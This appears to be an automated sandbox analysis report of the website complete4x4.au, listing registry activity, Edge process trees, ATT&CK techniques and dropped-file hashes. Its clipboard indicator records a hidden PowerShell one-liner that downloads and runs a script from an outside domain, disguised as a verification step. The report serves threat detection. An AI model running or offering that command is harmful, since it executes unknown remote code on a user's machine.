hxxp://complete4x4[.]au

Analysis

user interaction
yes
max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/07/2026, 07:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://complete4x4.au
Sample260709-jthkfaew2q

Score

7^/10

discovery

Malware Config

Signatures

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell -w h "iex(irm 'authorization-cdn-press-enter.info/9eb68b8c9d0d539a' -UseBasicParsing)"; exit <#Verification ID: 9eb68b8c9d0d539a#>	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4488	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134280574619233647"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-876885714-46325919-1482798410-1000\{18A57CDD-7D9B-489C-9567-DF20450C341C}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4076	msedge.exe
4076	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe
5112	msedge.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 5112 wrote to memory of 4980	5112	msedge.exe	86
PID 5112 wrote to memory of 4488	5112	msedge.exe	87
PID 5112 wrote to memory of 4172	5112	msedge.exe	88
PID 5112 wrote to memory of 1092	5112	msedge.exe	89
PID 5112 wrote to memory of 4172	5112	msedge.exe	88
PID 5112 wrote to memory of 4172	5112	msedge.exe	88
PID 5112 wrote to memory of 1092	5112	msedge.exe	89
PID 5112 wrote to memory of 644	5112	msedge.exe	90
PID 5112 wrote to memory of 1612	5112	msedge.exe	91
PID 5112 wrote to memory of 644	5112	msedge.exe	90
PID 5112 wrote to memory of 644	5112	msedge.exe	90
PID 5112 wrote to memory of 1612	5112	msedge.exe	91
PID 5112 wrote to memory of 1612	5112	msedge.exe	91
PID 5112 wrote to memory of 4500	5112	msedge.exe	93
PID 5112 wrote to memory of 3808	5112	msedge.exe	94
PID 5112 wrote to memory of 4500	5112	msedge.exe	93
PID 5112 wrote to memory of 4500	5112	msedge.exe	93
PID 5112 wrote to memory of 3808	5112	msedge.exe	94
PID 5112 wrote to memory of 3808	5112	msedge.exe	94
PID 5112 wrote to memory of 4924	5112	msedge.exe	100
PID 5112 wrote to memory of 600	5112	msedge.exe	101
PID 5112 wrote to memory of 4924	5112	msedge.exe	100
PID 5112 wrote to memory of 600	5112	msedge.exe	101
PID 5112 wrote to memory of 1276	5112	msedge.exe	103
PID 5112 wrote to memory of 4332	5112	msedge.exe	107
PID 5112 wrote to memory of 4332	5112	msedge.exe	107
PID 5112 wrote to memory of 4332	5112	msedge.exe	107
PID 5112 wrote to memory of 932	5112	msedge.exe	109
PID 5112 wrote to memory of 932	5112	msedge.exe	109
PID 5112 wrote to memory of 932	5112	msedge.exe	109
PID 5112 wrote to memory of 5564	5112	msedge.exe	113
PID 5112 wrote to memory of 5572	5112	msedge.exe	114
PID 5112 wrote to memory of 5580	5112	msedge.exe	115
PID 5112 wrote to memory of 5980	5112	msedge.exe	117
PID 5112 wrote to memory of 5980	5112	msedge.exe	117
PID 5112 wrote to memory of 4076	5112	msedge.exe	118

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://complete4x4.au
1⤵
- Suspicious clipboard content.
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x260,0x7ffdc902c188,0x7ffdc902c194,0x7ffdc902c1a0
  2⤵
  PID:4980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1792,i,156890199127187140,16318571225582958528,524288 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=2784 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4488
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1676,i,14605061975284694650,3276092097851985480,262144 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=2752 /prefetch:2
  2⤵
  PID:4172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2256,i,4210017004766792053,15700164733019949189,524288 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=2800 /prefetch:8
  2⤵
  PID:1092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3444,i,4890994334872047425,8528187302684273916,2097152 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
  2⤵
  PID:644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3460,i,8089959407866975458,9916864351458877963,2097152 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
  2⤵
  PID:1612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4172,i,6235784109968921722,15356194738292070226,2097152 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=4204 /prefetch:1
  2⤵
  PID:4500
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4184,i,4272233689376691349,8331268261808093810,2097152 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:2
  2⤵
  PID:3808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4992,i,2619549678075157899,6875037270863192706,524288 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:8
  2⤵
  PID:4924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4984,i,12574978128797621757,7017260580799960687,524288 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=5156 /prefetch:8
  2⤵
  PID:600
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5896,i,12028939220089931066,475291085121290182,524288 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:8
  2⤵
  PID:3488
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5896,i,12028939220089931066,475291085121290182,524288 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:8
  2⤵
  PID:1276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=6232,i,14877535114373255750,273836507350616980,2097152 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=6260 /prefetch:1
  2⤵
  PID:4332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3744,i,3531725618868293443,4831391380136923863,2097152 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:1
  2⤵
  PID:932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5088,i,5507582048332603639,8997319087335874041,524288 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=4496 /prefetch:8
  2⤵
  PID:5564
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4280,i,13267492611130119683,9265626072615098887,524288 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=4488 /prefetch:8
  2⤵
  PID:5572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4176,i,10746579323690302977,9305101332539961004,524288 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=4444 /prefetch:8
  2⤵
  PID:5580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5352,i,2884330913883380472,5849564307698827469,524288 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=2080 /prefetch:8
  2⤵
  PID:5980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=748,i,1250608542948045772,14621719188641406445,262144 --field-trial-handle=2756,i,8090592338300442111,6156695570314813466,262144 --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4076

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4044

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1b0aae27-329f-45f7-a75a-7b3ac48ca9b7.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\1b0aae27-329f-45f7-a75a-7b3ac48ca9b7.tmp
Size 19KB
SHA256 3815d172056fe7df7f877da7230c3097711a995a99592006075dcd8816040819
MD5 996fe4b65643b9d1a6c17b5b67b3914d
SHA1 1ccafa41819d4665ac787e9ff9c55ff59907a484
SHA512 45f279edd23c540a3f0c83ff4caa15b2827cc3c71e8dd5bca7363831ffb8c07b1b0581c28a103b55b64e4314b037bc2013dcf34ad2b82fe3018732aa0b62ab93
SSDEEP 384:KtNn/s3n9SfsNOJuvylf9wXHf+9OMYDsdFWOObjI9G6w7/c:Kj+9UBV6/oO7s3W29ME
TLSH
T10B928C326C2A9D374DA29AA5F48B39178FF4417BD6C52F88E6DD6F0D04DB6AC0306825
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 083d78ea5ea69126b24164f2e05fc467ce21fdcdf2ec67f8e94c4366a1284886
MD5 da79f81681859af2b76762aa37a5f73e
SHA1 53d69c959eb46848bc7ed7b5c480df864295389e
SHA512 f647681c342e36fa2f41fb9d54d089303f98b802703a42609226ef5755aafc91ef00af41a82f980c0f2819709322c59ef6cd1c18725ef5133691894902fc44c1
TLSH
T1FCD09B7077CDAC11D5450471D45547535D96CA4C24D7DB076011801D68557D9B35E067
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 965e5ede1dd95e7182bc6ed8b645e4796c53616af10fe7a02b411984e0f5fca1
MD5 252c38f22d645a5fc39fa9f1fdd92b34
SHA1 70c6079cc3ffdcb0efb6f56834b64311e1e951bc
SHA512 e23e1b164567d933593229d39744ddacb3330f715193f293c7aee9a5a95fc433809933ab830a7a1c5cdf37824965c32650c227083092c2a6488a2ab768744ad1
TLSH
T110D09B7077CDAC11D9450471D45547535D96CA4C24D7DB076011801D58567D9B35E067
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_000087

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000087
Size 374KB
SHA256 bc37fd8870a7cf3fca6bb2fe199270ae7ccf6f4754c3c09973d6876bda5bdc78
MD5 b3127ec4dabfb76810d1f2f73fe10e7f
SHA1 4a930d6efeaca1b3106f05bc34c24cee89275640
SHA512 3dbaa2586aa368089addb24ce0b4ee08755000520ba2e3933271017d5627439363615e03109f3a6159c1e54e2cd040f959f8ac13a317be4205b0bb4e4aec8f61
SSDEEP 6144:31LsTtQ91bhCfgc85F48+k1AwH5b1vrq/YC3i5YT3Ej3w8AxU09sw0QPzTvs5FUw:lLGQ91tWgczkxH5b1vChy5YT3EjdAu0O
TLSH
T1A384231B8717457320EDFF706ABDB89D78A8AC5285AD646C411BA9C422F04C3EB7D81F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 b7820f56d37e081542e098812a6c2eef2ececff6b86bd3fcb0c5fc406b4188b4
MD5 547919381cb4a61beceb024dd8b52bb8
SHA1 c1dd2844e5ed980743f2ad206f5c65a8dc30d8ec
SHA512 b7c2221a3624490c858dda388493d0d9c7c7102f9881fce7d9c4ba8dd28d5e9fb2f4630e25b3452c9d63cae026db7a2aacb661567c47df70c72fae2f75a502b1
SSDEEP 96:vSaOyhLQc176jiNdwglC4zZySaeOelVc4:vSaHhLQcN9NBlC4/OelVz
TLSH
T1EC91505902872446EB31A739C4E91B113021ABEF18036E4B93D0A93FD21BFF689D74C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe592a81.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe592a81.TMP
Size 2KB
SHA256 bf5be36dd3eed930cfe28cd8cd018ecd8f6a05c6e907a35172b49f5a50141a88
MD5 ca3c618f845a872deb442c2ba767495e
SHA1 e2b63fd647b3fcc7c321801926a9633ff6dbf85e
SHA512 dcc4e6ad3dc1bc558242674ad5b3d7b115f8f63bcfe33f593b9e1c1cb4fd9823b26798a64fb5288333fe012f2dba78ae83c84d6bd1e1f7ef01c53ae0cf47f17f
TLSH
T11D51816D03456883E331BA30C4E91301B432ABFE08174E5983E09E3FE62F7E5894789C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 8KB
SHA256 66a6f9ab811815c882f3acd7fd40b8a4e20dadc2b4e99e86ab5e64d925867084
MD5 c49f2e67470b4bd8aee27a841fcf1b12
SHA1 0dc82b3802d386d0832f72de7568e6d3e0775893
SHA512 8e88850a23bfdeda25d6ba06cc17790721716af16a00d093e2648b6e5c3d0570e3d0bce007ea0b567f0039bad9c0a1d9ec815bc57f41af9d8912d46acbad04ac
SSDEEP 192:DlaWeyADacqcvwcfY71Ikj6VFBVnJBnsRBMfQSTWXsThZwUmBbjQGEGl:DlaWeyADacqcvwcfW1IkGVFBVnJBnsR1
TLSH
T12F029BF2C3D8C5ADCA1125F497382A3BDD1E092852393C2B89D6DE8793E3872D14569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 aa10bf07b0d265bed28f2a475f3564d8ddb5e4d4ffee0ab6f3a0cc564907b631
MD5 807419ca9a4734feaf8d8563a003b048
SHA1 a723c7d60a65886ffa068711f1e900ccc85922a6
SHA512 f10d496ae75db5ba412bd9f17bf0c7da7632db92a3fabf7f24071e40f5759c6a875ad8f3a72bad149da58b3da3b816077df125d0d9f3544adba68c66353d206c
TLSH
T18DB01269E5507CFF074A83A41428B463C3FF0047421C8ABEEA3873AD42A21FE0828C57
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 ced5de61822dae77ad437f8b350d5c19ec45181fe14531c2ecd9f3e4146ef014
MD5 2a8c6d3876c87861273dfbea544ea637
SHA1 4211e708befe96f6d13f0be32cad660d598f4d2b
SHA512 51f02135a1fe5c848d24de28f300e113193d9e92bc211e2548606c9f263edbc4e9cf680d661ece0e94e9b5d7186284fee5553b0913e965a2574630df2965d1ac
SSDEEP 192:sxZrRJyM/jK1Ml8Mk2/fhsHyGuIdpQKHLf76+WNQ2y/Yw6IeimIgrJ:sxZr1M2/fhsHL/DHME/U9
TLSH
T1F452D9126A34997B8CDBD209FA45BB53D6F50472D2901E44AAFCCA0C04E7BED2217C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 daf5bc43b4cc2c59bcac69abeb6c33feebe2f6c8668c8bd1fedeb98f5e6052ae
MD5 bd4b57be4c485efeb61ea116e4ebf902
SHA1 6fbedc3b4dcdeba6a6cfb3edf7eb5dd95bc70af2
SHA512 e09cc7b12c7c9f978713beec0a3feb6a5bac6ea2b5ca4080c20336c69b3ad69e0cc042c5458d093dc1e4a01c954327157876fef657b951fd946a17c1b21e5e3a
SSDEEP 192:sxZrRJyM/jK1Ml8UQok2/fhsJy+8uIdp2KHLf76+WNQ2y/Ywfp/imIg5KJ:sxZrnqL2/fhsJS/lHME/H8
TLSH
T1DB52D7166A34997B8CDBD209F941BB93D6F54472D2901E44AAFCCA0C01E7BED2217C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
